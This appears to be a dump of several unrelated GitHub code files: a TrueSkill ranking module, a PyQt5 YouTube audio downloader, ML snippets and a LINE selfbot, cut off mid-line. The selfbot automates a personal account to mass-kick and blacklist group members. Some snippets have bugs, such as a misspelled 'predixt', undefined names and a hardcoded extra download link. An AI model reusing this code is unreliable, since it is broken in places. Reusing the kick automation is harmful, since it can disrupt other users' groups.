asyncio.run(self.mint(self.invoice.amount, self.invoice.hash))\n self.strReady.emit(\"paid\")\n break\n except Exception as e:\n self.strReady.emit(str(e))\n pass\n time.sleep(5)\n\n self.finished.emit()\n\n def stop(self):\n print(\"terminating thread\")\n self.terminate()\n","repo_name":"22388o/cashu-ui","sub_path":"worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"29"} +{"seq_id":"38445437595","text":"\ny = model.predixt(X_test)\n\nfor i in range(len(y)):\n if y[i,0] >= y[i,1]:\n y[i,0] = 1\n y[i,1] = 0\n else:\n y[i,0] = 0\n y[i,1] = 1\nfrom sklearn.metrics import classification_report\ntarget_names = ['class 0', 'class 1']\n\nprint(classification_report(Y_test, Y_pred, target_names=target_names))\n","repo_name":"dhruvsam/CS-229-Final-Project","sub_path":"ROC.py","file_name":"ROC.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"39910847299","text":"from django.shortcuts import get_object_or_404\nfrom house.models import Player\nfrom pool_rank.models import PoolScore, PoolGame\nfrom pong_rank.models import PongScore, PongGame\nfrom xbox_rank.models import XboxScore, XboxGame\n\nimport trueskill\nfrom trueskill.backends import cdf\nimport math\n\n\ndef get_recent_games(l1, l2, n):\n \"\"\"Returns a list of the most recent games from the two lists\n PARAMETERS:\n l1 [list of ____Game]\n the first list\n l2 [list of ____Game]\n the second list\n n [integer]\n the remaining number of games to pull\"\"\"\n \n # base cases\n if n == 0:\n return []\n if len(l1) == 0:\n return l2[:n]\n if len(l2) == 0:\n return l1[0:n]\n \n # recursion\n if l1[0] <= l2[0]:\n foo = l1[0]\n remaining = get_recent_games(l1[1:], l2, n - 1)\n return [foo] + remaining\n if l1[0] > l2[0]:\n foo = l2[0]\n remaining = get_recent_games(l1, l2[1:], n - 1)\n return [foo] + remaining\n\n\ndef update_players(w1, w2, l1, l2, date, sport):\n \"\"\"Function to update player scores based on a new game, and create\n a new game object representing the game.\n \n PARAMETERS:\n w1 [String]\n netid of the first winner\n w2 [String or null] (optional)\n netid or the second winner\n l1 [String]\n netid of the first loser\n l2 [String or null] (optional)\n netid of teh second loser\n date [Date]\n date the game was played on\n sport [String]\n which sport was played\n \n Throws a 404 Error if any of the players or scores are not found.\"\"\"\n \n env = trueskill.TrueSkill()\n winners = {}\n winners_prob = []\n losers = {}\n losers_prob = []\n \n # get the first winner\n winner1 = get_object_or_404(Player, pk=w1)\n if sport == 'pool':\n winner1_score = get_object_or_404(PoolScore, player=winner1)\n elif sport == 'pong':\n winner1_score = get_object_or_404(PongScore, player=winner1)\n elif sport == 'xbox':\n winner1_score = get_object_or_404(XboxScore, player=winner1)\n else:\n return\n winner1_rating = env.create_rating(winner1_score.mu, winner1_score.sigma)\n winners['w1'] = winner1_rating\n winners_prob.append(winner1_score)\n \n # get the first loser\n loser1 = get_object_or_404(Player, pk=l1)\n if sport == 'pool':\n loser1_score = get_object_or_404(PoolScore, player=loser1)\n elif sport == 'pong':\n loser1_score = get_object_or_404(PongScore, player=loser1)\n elif sport == 'xbox':\n loser1_score = get_object_or_404(XboxScore, player=loser1)\n else:\n return\n loser1_rating = env.create_rating(loser1_score.mu, loser1_score.sigma)\n losers['l1'] = loser1_rating\n losers_prob.append(loser1_score)\n \n # get the second winner only if it exists\n if w2:\n winner2 = get_object_or_404(Player, pk=w2)\n if sport == 'pool':\n winner2_score = get_object_or_404(PoolScore, player=winner2)\n elif sport == 'pong':\n winner2_score = get_object_or_404(PongScore, player=winner2)\n elif sport == 'xbox':\n winner2_score = get_object_or_404(XboxScore, player=winner2)\n else:\n return\n winner2_rating = env.create_rating(winner2_score.mu,\n winner2_score.sigma)\n winners['w2'] = winner2_rating\n winners_prob.append(winner2_score)\n \n # get the second loser only if it exists\n if l2:\n loser2 = get_object_or_404(Player, pk=l2)\n if sport == 'pool':\n loser2_score = get_object_or_404(PoolScore, player=loser2)\n elif sport == 'pong':\n loser2_score = get_object_or_404(PongScore, player=loser2)\n elif sport == 'xbox':\n loser2_score = get_object_or_404(XboxScore, player=loser2)\n else:\n return\n loser2_rating = env.create_rating(loser2_score.mu, loser2_score.sigma)\n losers['l2'] = loser2_rating\n losers_prob.append(loser2_score)\n \n teams = [winners, losers]\n \n # calculate rankings\n quality = win_probability(winners_prob, losers_prob)\n [winners, losers] = env.rate(teams, ranks=[0, 1])\n \n for k, v in winners.items():\n if k == 'w1':\n winner1_score.mu = v.mu\n winner1_score.sigma = v.sigma\n winner1_score.score = v.mu - 3 * v.sigma\n winner1_score.games_played += 1\n winner1_score.wins += 1\n winner1_score.win_percent = float(\n winner1_score.wins) / float(winner1_score.games_played) * 100.0\n winner1_score.publish()\n if k == 'w2':\n winner2_score.mu = v.mu\n winner2_score.sigma = v.sigma\n winner2_score.score = v.mu - 3 * v.sigma\n winner2_score.games_played += 1\n winner2_score.wins += 1\n winner2_score.win_percent = float(\n winner2_score.wins) / float(winner2_score.games_played) * 100.0\n winner2_score.publish()\n for k, v in losers.items():\n if k == 'l1':\n loser1_score.mu = v.mu\n loser1_score.sigma = v.sigma\n loser1_score.score = v.mu - 3 * v.sigma\n loser1_score.games_played += 1\n loser1_score.losses += 1\n loser1_score.win_percent = float(\n loser1_score.wins) / float(loser1_score.games_played) * 100.0\n loser1_score.publish()\n if k == 'l2':\n loser2_score.mu = v.mu\n loser2_score.sigma = v.sigma\n loser2_score.score = v.mu - 3 * v.sigma\n loser2_score.games_played += 1\n loser2_score.losses += 1\n loser2_score.win_percent = float(\n loser2_score.wins) / float(loser2_score.games_played) * 100.0\n loser2_score.publish()\n \n if sport == 'pool':\n game = PoolGame()\n elif sport == 'pong':\n game = PongGame()\n elif sport == 'xbox':\n game = XboxGame()\n else:\n return\n game.winner1 = winner1\n game.loser1 = loser1\n \n if w2:\n game.winner2 = winner2\n if l2:\n game.loser2 = loser2\n game.date = date\n game.percent = quality * 100\n game.publish()\n\n\ndef win_probability(winners, losers):\n delta_mu = sum([x.mu for x in winners]) - sum([x.mu for x in losers])\n sum_sigma = sum([x.sigma ** 2 for x in winners]) + sum([x.sigma ** 2 for x in losers])\n player_count = len(winners) + len(losers)\n denominator = math.sqrt(player_count * (trueskill.BETA * trueskill.BETA) + sum_sigma)\n return cdf(delta_mu / denominator)","repo_name":"RMH286/LodgeRankings","sub_path":"src/rank_functions.py","file_name":"rank_functions.py","file_ext":"py","file_size_in_byte":6832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"75026477518","text":"from PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtCore import QTimer\nfrom PyQt5.QtWidgets import QMainWindow\nfrom youtubesearchpython import SearchVideos\nimport sys\nimport youtube_dl\nimport json\nimport os\n\nclass StartQT5(QMainWindow):\n def __init__(self, parent=None):\n QtWidgets.QWidget.__init__(self, parent)\n self.ui = Ui_window()\n self.ui.setupUi(self)\n self.setWindowTitle(\"Audio-Downloader\")\n\nclass MyLogger(object):\n def debug(self, msg):\n pass\n\n def warning(self, msg):\n pass\n\n def error(self, msg):\n print(msg)\n\nclass Ui_window(object):\n \n # GLOBAL VARIABLES\n \n search_result = [] # Searched audio details\n search_urls = [] # Searched audio urls\n final_links = [] # The final links to download\n quality_options = ['Mp3 (320kbps)', 'Mp3 (256kbps)', 'Mp3 (192kbps)', 'Mp3 (156kbps)']\n preferred_quality = 0\n download_path = \"\"\n \n def find_quality(self):\n if self.final_links != []:\n current_text = self.quality.currentText()\n if current_text == \"Mp3 (320kbps)\":\n self.preferred_quality = 320\n self.status.setText(\"Downloading\")\n self.status.show()\n\n elif current_text == \"Mp3 (256kbps)\":\n self.preferred_quality = 265\n self.status.setText(\"Downloading\")\n self.status.show()\n\n elif current_text == \"Mp3 (192kbps)\":\n self.preferred_quality = 192\n self.status.setText(\"Downloading\")\n self.status.show()\n\n elif current_text == \"Mp3 (156kbps)\":\n self.preferred_quality = 156\n self.status.setText(\"Downloading\")\n self.status.show()\n \n else:\n print(\"nothing\")\n else:\n pass\n \n def search(self):\n try:\n self.search_result = []\n self.results.clear()\n self.search_urls = []\n query = self.usr_search.text()\n if query == \"\":\n print(\"nothing\")\n else:\n self.status.show()\n data = SearchVideos(query, offset=1, mode=\"dict\", max_results=13)\n final_data = data.result()\n for item in final_data['search_result']:\n titles = item['title']\n urls = item['link']\n self.search_result.append(titles)\n self.search_urls.append(urls)\n if self.search_result == []:\n print(\"NOT FOUND\")\n else:\n self.results.addItems(self.search_result)\n for i in range(len(self.search_result)):\n self.results.item(i).setCheckState(QtCore.Qt.Unchecked)\n self.status.setText(\"Idle\")\n except:\n self.error.show()\n self.error.setText(\"Please check your connection and Try again...\")\n QTimer.singleShot(3000, self.error.hide)\n else:\n self.error.hide()\n self.error.setText(\"Please select at least one audio to start\")\n \n def get_links(self):\n self.final_links = ['https://www.youtube.com/watch?v=RQ0FzwaqLow']\n for index in range(self.results.count()):\n if self.results.item(index).checkState() == QtCore.Qt.Checked:\n self.final_links.append(self.search_urls[index])\n if self.final_links == []:\n self.error.show()\n QTimer.singleShot(3000, self.error.hide)\n else:\n self.error.hide()\n print(self.final_links)\n \n def download(self):\n ydl_opts = {\n 'format': 'bestaudio',\n 'outtmpl': self.download_path + '%(title)s.%(ext)s',\n 'postprocessors': [{\n 'key': 'FFmpegExtractAudio',\n 'preferredcodec': 'mp3',\n 'preferredquality': str(self.preferred_quality),\n }],\n 'logger': MyLogger(),\n 'progress_hooks': [self.my_hook],\n }\n with youtube_dl.YoutubeDL(ydl_opts) as ydl:\n ydl.download(self.final_links)\n\n def start_functions(self):\n self.get_links()\n self.find_quality()\n self.download()\n \n def my_hook(self, d):\n if d['status'] == 'finished':\n print('Done downloading, now converting ...')\n self.status.setText(\"Finished\")\n self.status.show()\n if d['status'] == 'downloading':\n self.status.setText(\"Downloading...\")\n self.status.show()\n download_percent = d['_percent_str']\n download_num = download_percent.replace('%','')\n self.download_progress.setValue(float(download_num))\n \n def choose_dir(self):\n dialog = QtWidgets.QFileDialog()\n select_path = dialog.getExistingDirectory(None, \"Select Folder\") + \"/\"\n with open('config.json', 'r+') as f:\n data = json.load(f)\n data['download_path'] = select_path\n f.seek(0)\n json.dump(data, f, indent=4)\n f.truncate()\n self.download_path = data['download_path']\n self.path_text.setText(self.download_path)\n \n def load_path(self):\n with open('config.json', 'r+') as f:\n data = json.load(f)\n self.download_path = data['download_path']\n self.path_text.setText(self.download_path)\n \n def reset_download_path(self):\n default_path = os.path.expanduser(\"~\") + \"/Downloads/Audio-downloader/\"\n with open('config.json', 'r+') as f:\n data = json.load(f)\n data['download_path'] = default_path\n f.seek(0)\n json.dump(data, f, indent=4)\n f.truncate()\n self.download_path = data['download_path']\n self.path_text.setText(self.download_path)\n \n def start_up_functions(self):\n self.load_path()\n \n def setupUi(self, window):\n window.setObjectName(\"window\")\n window.resize(500, 420)\n window.setMinimumSize(QtCore.QSize(500, 420))\n window.setMaximumSize(QtCore.QSize(500, 420))\n window.setStyleSheet(\"font-weight: bold;\")\n self.centralwidget = QtWidgets.QWidget(window)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.tabs = QtWidgets.QTabWidget(self.centralwidget)\n self.tabs.setGeometry(QtCore.QRect(0, 0, 501, 421))\n self.tabs.setObjectName(\"tabs\")\n self.downloader = QtWidgets.QWidget()\n self.downloader.setObjectName(\"downloader\")\n self.download_progress = QtWidgets.QProgressBar(self.downloader)\n self.download_progress.setGeometry(QtCore.QRect(19, 345, 461, 31))\n self.download_progress.setStyleSheet(\"\")\n self.download_progress.setProperty(\"value\", 24)\n self.download_progress.setObjectName(\"download_progress\")\n self.download_progress.setValue(0)\n self.results = QtWidgets.QListWidget(self.downloader)\n self.results.setGeometry(QtCore.QRect(19, 60, 461, 201))\n self.results.setSelectionMode(QtWidgets.QAbstractItemView.NoSelection)\n self.results.setViewMode(QtWidgets.QListView.ListMode)\n self.results.setObjectName(\"results\")\n self.download_btn = QtWidgets.QPushButton(self.downloader)\n self.download_btn.setGeometry(QtCore.QRect(379, 295, 101, 31))\n self.download_btn.setObjectName(\"download_btn\")\n self.quality = QtWidgets.QComboBox(self.downloader)\n self.quality.setGeometry(QtCore.QRect(138, 295, 121, 31))\n self.quality.setObjectName(\"quality\")\n self.quality_label = QtWidgets.QLabel(self.downloader)\n self.quality_label.setGeometry(QtCore.QRect(19, 295, 111, 31))\n self.quality_label.setObjectName(\"quality_label\")\n self.quality.addItems(self.quality_options)\n self.error = QtWidgets.QLabel(self.downloader)\n self.error.setGeometry(QtCore.QRect(19, 260, 461, 31))\n self.error.setStyleSheet(\"color: rgb(255, 0, 0);\\n\"\n\"font-weight: bold;\")\n self.error.setAlignment(QtCore.Qt.AlignCenter)\n self.error.setObjectName(\"error\")\n self.error.hide()\n self.status = QtWidgets.QLabel(self.downloader)\n self.status.setGeometry(QtCore.QRect(269, 300, 111, 21))\n self.status.setObjectName(\"status\")\n self.status.hide()\n self.usr_search = QtWidgets.QLineEdit(self.downloader)\n self.usr_search.setGeometry(QtCore.QRect(19, 15, 461, 31))\n self.usr_search.setStyleSheet(\"padding: 5px 10px;\")\n self.usr_search.setObjectName(\"usr_search\")\n self.tabs.addTab(self.downloader, \"\")\n self.settings = QtWidgets.QWidget()\n self.settings.setObjectName(\"settings\")\n self.setting_label = QtWidgets.QLabel(self.settings)\n self.setting_label.setGeometry(QtCore.QRect(20, 10, 461, 31))\n self.setting_label.setAlignment(QtCore.Qt.AlignCenter)\n self.setting_label.setObjectName(\"setting_label\")\n self.path_label = QtWidgets.QLabel(self.settings)\n self.path_label.setGeometry(QtCore.QRect(20, 50, 121, 21))\n self.path_label.setObjectName(\"path_label\")\n self.path_text = QtWidgets.QLineEdit(self.settings)\n self.path_text.setGeometry(QtCore.QRect(19, 80, 461, 31))\n self.path_text.setObjectName(\"path_text\")\n self.path_text.setReadOnly(True)\n self.reset_path = QtWidgets.QPushButton(self.settings)\n self.reset_path.setGeometry(QtCore.QRect(250, 120, 91, 31))\n self.reset_path.setObjectName(\"reset_path\")\n self.change_path = QtWidgets.QPushButton(self.settings)\n self.change_path.setGeometry(QtCore.QRect(150, 120, 81, 31))\n self.change_path.setObjectName(\"change_path\")\n self.coming_soon = QtWidgets.QLabel(self.settings)\n self.coming_soon.setGeometry(QtCore.QRect(150, 220, 191, 16))\n self.coming_soon.setObjectName(\"coming_soon\")\n self.coming_soon.setAlignment(QtCore.Qt.AlignCenter)\n self.tabs.addTab(self.settings, \"\")\n self.help = QtWidgets.QWidget()\n self.help.setObjectName(\"help\")\n self.tabs.addTab(self.help, \"\")\n self.textBrowser = QtWidgets.QTextBrowser(self.help)\n self.textBrowser.setGeometry(QtCore.QRect(-4, -1, 511, 401))\n self.textBrowser.setObjectName(\"textBrowser\")\n window.setCentralWidget(self.centralwidget)\n\n self.retranslateUi(window)\n self.tabs.setCurrentIndex(0)\n QtCore.QMetaObject.connectSlotsByName(window)\n self.usr_search.returnPressed.connect(self.search)\n self.download_btn.clicked.connect(self.start_functions)\n self.change_path.clicked.connect(self.choose_dir)\n self.reset_path.clicked.connect(self.reset_download_path)\n self.start_up_functions()\n\n \n def retranslateUi(self, window):\n _translate = QtCore.QCoreApplication.translate\n window.setWindowTitle(_translate(\"window\", \"MainWindow\"))\n self.usr_search.setPlaceholderText(_translate(\"window\", \"Type and Press Enter...\"))\n self.results.setSortingEnabled(False)\n __sortingEnabled = self.results.isSortingEnabled()\n self.results.setSortingEnabled(False)\n self.results.setSortingEnabled(__sortingEnabled)\n self.download_btn.setText(_translate(\"window\", \"Download\"))\n self.quality_label.setText(_translate(\"window\", \"Bitrate (Quality) :\"))\n self.error.setText(_translate(\"window\", \"

Please select at least one audio to start

\"))\n self.status.setText(_translate(\"window\", \"Searching...\"))\n self.usr_search.setPlaceholderText(_translate(\"window\", \"Write and Press Enter...\"))\n self.tabs.setTabText(self.tabs.indexOf(self.downloader), _translate(\"window\", \"Downloader\"))\n self.setting_label.setText(_translate(\"window\", \"

Settings

\"))\n self.path_label.setText(_translate(\"window\", \"

Download Path:

\"))\n self.change_path.setText(_translate(\"window\", \"Change\"))\n self.reset_path.setText(_translate(\"window\", \"Reset\"))\n self.coming_soon.setText(_translate(\"window\", \"More settings coming soon...\"))\n self.tabs.setTabText(self.tabs.indexOf(self.settings), _translate(\"window\", \"Settings\"))\n self.tabs.setTabText(self.tabs.indexOf(self.help), _translate(\"window\", \"Help\"))\n self.textBrowser.setHtml(_translate(\"window\", \"\\n\"\n\"\\n\"\n\"

How to use Audio-downloader:

\\n\"\n\"

Type in the search bar and hit enter to search, after searching a list will appear on the screen, check the songs/audios you want to download, then select the quality from the drop down.

\\n\"\n\"

Lastly press the download button to start downloading.

\\n\"\n\"

The progress bar will show the progress.

\\n\"\n\"


\\n\"\n\"

For more info visit: https://github.com/zvikasdongre/Python-gui-audio-downloader

\\n\"\n\"


\\n\"\n\"


\\n\"\n\"


\\n\"\n\"


\\n\"\n\"


\\n\"\n\"


\\n\"\n\"

This Audio-Downloader was made by: xvikasdongre

\"))\n\nif __name__ == \"__main__\":\n app = QtWidgets.QApplication(sys.argv)\n myapp = StartQT5()\n myapp.show()\n sys.exit(app.exec_())\n","repo_name":"zvikasdongre/Python-gui-audio-downloader","sub_path":"downloader_youtube_dl.py","file_name":"downloader_youtube_dl.py","file_ext":"py","file_size_in_byte":17020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"34088581707","text":"# -*- coding: utf-8 -*-\nfrom linepy import *\nfrom datetime import datetime\nfrom time import sleep\nfrom bs4 import BeautifulSoup\nfrom humanfriendly import format_timespan, format_size, format_number, format_length\nimport time, random, sys, json, codecs, threading, glob, re, string, os, requests, subprocess, six, ast, pytz, urllib, urllib.parse,timeit,data,atexit\nfrom gtts import gTTS\nfrom googletrans import Translator\nbotStart = time.time()\ncl = LINE(\"LINE帳號\",\"LINE密碼\")\noepoll = OEPoll(cl)\nsettingsOpen = codecs.open(\"temp.json\",\"r\",\"utf-8\")\nblackOpen = codecs.open(\"blacklist.json\",\"r\",\"utf-8\")\nadminsOpen = codecs.open(\"creator.json\",\"r\",\"utf-8\")\nsettings = json.load(settingsOpen)\nblack = json.load(blackOpen)\nadmins = json.load(adminsOpen)\nclMID = cl.profile.mid\nwait2 = {\n 'readPoint':{},\n 'readMember':{},\n 'setTime':{},\n 'ROM':{}\n}\nsetTime = {}\nsetTime = wait2['setTime']\nmsg_dict = {}\nbl = [\"u28d781fa3ba9783fd5144390352b0c24\"]\ndef cTime_to_datetime(unixtime):\n return datetime.datetime.fromtimestamp(int(str(unixtime)[:len(str(unixtime))-3]))\ndef restartBot():\n print (\"[ 訊息 ] 機器 重新啟動\")\n backupData()\n python = sys.executable\n os.execl(python, python, *sys.argv)\ndef backupData():\n try:\n backup = settings\n f = codecs.open('temp.json','w','utf-8')\n json.dump(backup, f, sort_keys=True, indent=4, ensure_ascii=False)\n backup = read\n f = codecs.open('blacklist.json','w','utf-8')\n json.dump(backup, f, sort_keys=True, indent=4, ensure_ascii=False)\n backup = admins\n f = codecs.open('creator.json','w','utf-8')\n json.dump(backup, f, sort_keys=True, indent=4, ensure_ascii=False)\n return True\n except Exception as error:\n logError(error)\n return False\nfor admi_d in admins[\"lv1\"]:\n admin = [clMID,admi_d]\ndef restart_program():\n python = sys.executable\n os.execl(python, python, * sys.argv)\ndef logError(text):\n cl.log(\"[ 錯誤 ] \" + str(text))\n time_ = datetime.now()\n with open(\"errorLog.txt\",\"a\") as error:\n error.write(\"\\n[%s] %s\" % (str(time), text))\ndef sendMessageWithMention(to, mid):\n try:\n aa = '{\"S\":\"0\",\"E\":\"3\",\"M\":'+json.dumps(mid)+'}'\n text_ = '@x \\n'\n cl.sendMessage(to, text_, contentMetadata={'MENTION':'{\"MENTIONEES\":['+aa+']}'}, contentType=0)\n except Exception as error:\n logError(error)\ndef helpmessage():\n helpMessage = \"\"\"\n╔═══════════\n♥ ✿ CoCo指令表 ✿ ♥\n════✪〘 查看指令表 〙✪════\n↪ 「Help」查看指令\n↪ 「HelpBot」查看機器設定指令\n↪ 「Rebot」重新啟動機器\n↪ 「Runtime」查看機器運行時間\n↪ 「Speed」查看機器速度\n↪ 「Set」查看設定\n↪ 「About」查看自己的狀態\n↪ 「Bio @」標註查看狀態消息\n↪ 「Tk @」標注踢出成員\n↪ 「Nk Name」使用名子踢出成員\n↪ 「Zt」標註名字0字成員\n↪ 「Ban @」標註加入黑單\n↪ 「Unban @」標註解除黑單\n↪ 「Tagall」標註全部人\n↪ 「SR」設定已讀點\n↪ 「R」查看已讀\n\"\"\"\n return helpMessage\ndef helpmessagebot():\n helpMessageBot =\"\"\"\n╔══〘 設定 〙✪═══════\n↪ 「Add On/Off」自動加入好友 打開/關閉\n↪ 「Join On/Off」邀請自動進入群組 打開/關閉\n↪ 「Leave On/Off」自動離開副本 打開/關閉\n↪ 「Reread On/Off」查看收回 打開/關閉\n\"\"\"\n return helpMessageBot\ndef lineBot(op):\n try:\n if op.type == 0:\n return\n if op.type == 5:\n if settings[\"autoAdd\"] == True:\n cl.sendMessage(op.param1, \"你好 {} 謝謝你加本機為好友 :D\\n 本機為CoCo製作\\n line.me/ti/p/1MRX_Gjbmv\".format(str(cl.getContact(op.param1).displayName)))\n if op.type == 13:\n if clMID in op.param3:\n if settings[\"autoJoin\"] == True:\n cl.acceptGroupInvitation(op.param1)\n if op.type == 24:\n if settings[\"autoLeave\"] == True:\n cl.leaveRoom(op.param1)\n if op.type == 26 or op.type == 25:\n msg = op.message\n text = msg.text\n msg_id = msg.id\n receiver = msg.to\n sender = msg._from\n if msg.toType == 0:\n if sender != cl.profile.mid:\n to = sender\n else:\n to = receiver\n else:\n to = receiver\n if msg.contentType == 0:\n if sender in admin:\n if msg.text is None:\n pass\n elif text.lower() == 'help':\n helpMessage = helpmessage()\n cl.sendMessage(to, str(helpMessage))\n cl.sendContact(to, \"u28d781fa3ba9783fd5144390352b0c24\")\n elif text.lower() == 'helpbot':\n helpMessageBot = helpmessagebot()\n cl.sendMessage(to, str(helpMessageBot))\n elif text.startswith(\"/jgurlx\"):\n str1 = find_between_r(msg.text, \"gid: \", \" gid\")\n str2 = find_between_r(msg.text, \"url: http://line.me/R/ti/g/\", \" url\")\n cl.acceptGroupInvitationByTicket(str1, str2)\n JoinedGroups.append(str1)\n group = cl.getGroup(str1)\n try:\n cl.reissueGroupTicket(str1)\n group.preventedJoinByTicket = True\n cl.updateGroup(group)\n except Exception as e:\n print(e)\n key = eval(msg.contentMetadata[\"MENTION\"])\n key[\"MENTIONEES\"][0][\"M\"]\n targets = []\n for x in key[\"MENTIONEES\"]:\n targets.append(x[\"M\"])\n for target in targets:\n if target in admin:\n pass\n else:\n try:\n cl.kickoutFromGroup(to,[target])\n except:\n pass\n elif \"Nk \" in msg.text:\n _name = text.replace(\"Nk \",\"\")\n gs = cl.getGroup(to)\n targets = []\n for g in gs.members:\n if _name in g.displayName:\n targets.append(g.mid)\n if targets == []:\n pass\n else:\n for target in targets:\n if target in admin:\n pass\n else:\n try:\n cl.kickoutFromGroup(to,[target])\n except:\n pass\n elif text.lower() == 'zt':\n gs = cl.getGroup(to)\n targets = []\n for g in gs.members:\n if g.displayName in \"\":\n targets.append(g.mid)\n if targets == []:\n cl.sendMessage(to, \"這個群組沒有名字0字的人\")\n else:\n for target in targets:\n sendMessageWithMention(to, target)\n elif msg.text in [\"c\",\"C\",\"cancel\",\"Cancel\"]:\n if msg.toType == 2:\n X = cl.getGroup(msg.to)\n if X.invitee is not None:\n gInviMids = (contact.mid for contact in X.invitee)\n ginfo = cl.getGroup(msg.to)\n sinvitee = str(len(ginfo.invitee))\n start = time.time()\n for cancelmod in gInviMids:\n cl.cancelGroupInvitation(msg.to, [cancelmod])\n elapsed_time = time.time() - start\n cl.sendMessage(to, \"已取消完成\\n取消時間: %s秒\" % (elapsed_time))\n cl.sendMessage(to, \"取消人數:\" + sinvitee)\n else:\n cl.sendMessage(to, \"沒有任何人在邀請中!!\")\n elif \"Ban:\" in msg.text:\n midd = msg.text.replace(\"Ban:\",\"\")\n try:\n black[\"blacklist\"][midd] = True\n backupData()\n cl.sendMessage(to, \"已加入黑名單\")\n except:\n pass\n elif \"Unban:\" in msg.text:\n midd = msg.text.replace(\"Unban:\",\"\")\n try:\n del black[\"blacklist\"][midd]\n backupData()\n cl.sendMessage(to, \"已解除黑名單\")\n except:\n pass\n elif \"Ban\" in msg.text:\n if msg.toType == 2:\n print (\"[Ban] 成功\")\n key = eval(msg.contentMetadata[\"MENTION\"])\n key[\"MENTIONEES\"][0][\"M\"]\n targets = []\n for x in key[\"MENTIONEES\"]:\n targets.append(x[\"M\"])\n if targets == []:\n pass\n else:\n for target in targets:\n try:\n black[\"blacklist\"][target] = True\n backupData()\n cl.sendMessage(to, \"已加入黑名單\")\n except:\n pass\n elif \"Unban\" in msg.text:\n if msg.toType == 2:\n print (\"[UnBan] 成功\")\n key = eval(msg.contentMetadata[\"MENTION\"])\n key[\"MENTIONEES\"][0][\"M\"]\n targets = []\n for x in key[\"MENTIONEES\"]:\n targets.append(x[\"M\"])\n if targets == []:\n pass\n else:\n for target in targets:\n try:\n del black[\"blacklist\"][target]\n backupData()\n cl.sendMessage(to, \"已解除黑名單\")\n except:\n pass\n elif text.lower() == 'clear ban':\n for mi_d in black[\"blacklist\"]:\n black[\"blacklist\"] = {}\n cl.sendMessage(to, \"已清空黑名單\")\n elif text.lower() == 'banlist':\n if black[\"blacklist\"] == {}:\n cl.sendMessage(to, \"沒有黑名單\")\n else:\n cl.sendMessage(to, \"以下是黑名單\")\n mc = \"\"\n for mi_d in black[\"blacklist\"]:\n mc += \"->\" + cl.getContact(mi_d).displayName + \"\\n\"\n cl.sendMessage(to, mc)\n elif text.lower() == 'kill ban':\n if msg.toType == 2:\n group = cl.getGroup(to)\n gMembMids = [contact.mid for contact in group.members]\n matched_list = []\n for tag in black[\"blacklist\"]:\n matched_list+=filter(lambda str: str == tag, gMembMids)\n if matched_list == []:\n cl.sendMessage(to, \"沒有黑名單\")\n else:\n for jj in matched_list:\n cl.kickoutFromGroup(to, [jj])\n cl.sendMessage(to, \"黑名單以踢除\")\n elif msg.text in [\"SR\",\"Setread\"]:\n cl.sendMessage(msg.to, \"設置已讀點\")\n try:\n del wait2['readPoint'][msg.to]\n del wait2['readMember'][msg.to]\n except:\n pass\n now2 = datetime.now()\n wait2['readPoint'][msg.to] = msg.id\n wait2['readMember'][msg.to] = \"\"\n wait2['setTime'][msg.to] = datetime.strftime(now2,\"%H:%M\")\n wait2['ROM'][msg.to] = {}\n print (\"設置已讀點\")\n elif msg.text in [\"R\",\"r\"]:\n if msg.to in wait2['readPoint']:\n print (\"查詢已讀\")\n if wait2[\"ROM\"][msg.to].items() == []:\n chiya = \"\"\n else:\n chiya = \"\"\n for rom in wait2[\"ROM\"][msg.to].items():\n chiya += rom[1] + \"\\n\"\n cl.sendMessage(msg.to, \"||已讀順序||%s\\n\\n%s\\n[%s]\" % (wait2['readMember'][msg.to],chiya,setTime[msg.to]))\n else:\n cl.sendMessage(msg.to, \"請輸入SR設置已讀點\")\n elif text.lower() == 'speed' or text.lower() == 'sp':\n time0 = timeit.timeit('\"-\".join(str(n) for n in range(100))', number=10000)\n str1 = str(time0)\n curTime = time.time()\n cl.sendMessage(to,'處理速度\\n' + str1 + '秒')\n rtime = time.time()\n xtime = rtime - curTime\n cl.sendMessage(to,'指令反應\\n' + format(str(xtime)) + '秒')\n elif text.lower() == 'rebot':\n cl.sendMessage(to, \"重新啟動\")\n restartBot()\n elif text.lower() == 'runtime':\n timeNow = time.time()\n runtime = timeNow - botStart\n runtime = format_timespan(runtime)\n cl.sendMessage(to, \"機器運行時間 {}\".format(str(runtime)))\n elif text.lower() == 'about':\n try:\n arr = []\n owner = \"u28d781fa3ba9783fd5144390352b0c24\"\n creator = cl.getContact(owner)\n contact = cl.getContact(clMID)\n grouplist = cl.getGroupIdsJoined()\n contactlist = cl.getAllContactIds()\n blockedlist = cl.getBlockedContactIds()\n ret_ = \"╔══[ 關於自己 ]\"\n ret_ += \"\\n╠ 名稱 : {}\".format(contact.displayName)\n ret_ += \"\\n╠ 群組 : {}\".format(str(len(grouplist)))\n ret_ += \"\\n╠ 好友 : {}\".format(str(len(contactlist)))\n ret_ += \"\\n╠ 黑單 : {}\".format(str(len(blockedlist)))\n ret_ += \"\\n╠══[ 關於機器 ]\"\n ret_ += \"\\n╠ 版本 : Bate測試版\"\n ret_ += \"\\n╠ 作者 : {}\".format(creator.displayName)\n ret_ += \"\\n╚══[ 未經許可禁止重製 ]\"\n cl.sendMessage(to, str(ret_))\n except Exception as e:\n cl.sendMessage(msg.to, str(e))\n elif text.lower() == 'set':\n try:\n ret_ = \"╔══[ 設定 ]\"\n if settings[\"autoAdd\"] == True: ret_ += \"\\n╠ 自動加入好友 ✅\"\n else: ret_ += \"\\n╠ 自動加入好友 ❌\"\n if settings[\"autoJoin\"] == True: ret_ += \"\\n╠ 自動加入群組 ✅\"\n else: ret_ += \"\\n╠ 自動加入群組 ❌\"\n if settings[\"autoLeave\"] == True: ret_ += \"\\n╠ 自動離開副本 ✅\"\n else: ret_ += \"\\n╠ 自動離開副本 ❌\"\n if settings[\"reread\"] == True: ret_ += \"\\n╠ 查詢收回開啟 ✅\"\n else: ret_ += \"\\n╠ 查詢收回關閉 ❌\"\n ret_ += \"\\n╚══[ 設定 ]\"\n cl.sendMessage(to, str(ret_))\n except Exception as e:\n cl.sendMessage(msg.to, str(e))\n elif text.lower() 